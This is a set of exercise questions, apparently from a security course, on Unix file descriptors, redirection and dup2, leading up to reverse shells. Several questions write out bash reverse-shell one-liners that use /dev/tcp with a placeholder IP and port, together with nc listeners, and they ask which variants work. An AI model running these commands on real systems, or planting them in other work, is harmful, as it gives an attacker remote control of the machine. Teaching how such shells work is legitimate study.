Reverse Shell

N14.1. Open two windows in Ubuntu, and list the content of the `/dev/fd` folder. Can you explain the difference observed from the two windows? The name `/dev/fd` is actually a symbolic link to `/proc/self/fd`. The name `self` is also a symbolic link pointing to a number, which is the process ID of the current process. Therefore, the number pointed to by `self` is different if viewing from different windows.

N14.2. On a `bash` prompt, run the following command. What will be happening to the current process?

```
$ exec 5>/dev/null
```

N14.3. What is the outcome when we run the following commands?

```
$ exec 5>/tmp/xyz
$ echo hello >&5
```

N14.4. After running the following code, the printout indicates that the file descriptor for `/tmp/xyz` is `0`. What might have happened?

```
  fd = open("/tmp/xyz", O_RDWR);
  printf("File descriptor: %d\n", fd);
```

N14.5. What do the following two lines of code do, respectively?

```
 read (5, data, 100);
 write(3, data, 100);
```

N14.6. To achieve the redirection in "`cat 1>&3`", which of the followings is invoked: `dup2(1, 3)` or `dup2(3, 1)`?

N14.7. In the following program, we would like the first `printf()` to print the message to the screen, but we would like the second one to print to the file `/tmp/xyz`. What should we do between these two lines of code?

```
  printf("%s\n", "message one");
  ...
  printf("%s\n", "message two");
```

N14.8. After running the following lines of code, what is result of the `printf()` statement in the last line.

```
  fd1 = open("/tmp/file1", O_RDWR);
  fd2 = open("/tmp/file2", O_RDWR);
  dup2(fd1, 9);
  dup2(fd2, fd1);
  dup2(9, 1);
  printf("%s\n", "message");
```

N14.9. We run "`nc -l 7070`" on Machine 1 (IP address is `10.0.2.6`), and we then type the following command on Machine 2. Describe what is going to happen.

```
$ /bin/cat < /dev/tcp/10.0.2.6/7070 >&0
```

N14.10. In the following program, we would like to get the input from another machine (machine A with IP address`10.0.2.6`), and print out the output to the same machine. After running "`nc -l 9090`" on machine A, we run the following command. Does it work?

```
$ /bin/cat 1>/dev/tcp/10.0.2.6/9090 0</dev/tcp/10.0.2.6/9090
```

N14.11. Which of the following reverse shell commands work?

```
1: /bin/bash -i >/dev/tcp/IP/9090 0<&1 2>&0
2: /bin/bash -i >/dev/tcp/IP/9090 0<&1 2>&1
3: /bin/bash -i >/dev/tcp/IP/9090 2>&1 0<&1
4: /bin/bash -i 2>/dev/tcp/IP/9090 1>&2 0<&2
5: /bin/bash -i 2>/dev/tcp/IP/9090 1>&2 0<&1
```

N14.12. The following reverse shell command is incomplete, please complete it:

```
$ /bin/bash -i < /dev/tcp/IP/9090 ...
```

N14.13. Please describe how you would do the following: run the `/bin/cat` program on Machine 1; the program takes its input from Machine 2, and print out its output to Machine 3.

N14.14. The `/dev/tcp` virtual file is not recognized by the `Linux` operating system; it is only recognized by the `bash` program. Which of the following commands can get a reverse shell?

```
1. /bin/zsh  -c "/bin/zsh  -i > /dev/tcp/IP/9090 0<&1 2>&1"
2. /bin/zsh  -c "/bin/bash -i > /dev/tcp/IP/9090 0<&1 2>&1"
3. /bin/bash -c "/bin/zsh  -i > /dev/tcp/IP/9090 0<&1 2>&1"
4. /bin/bash -c "/bin/bash -i > /dev/tcp/IP/9090 0<&1 2>&1"
```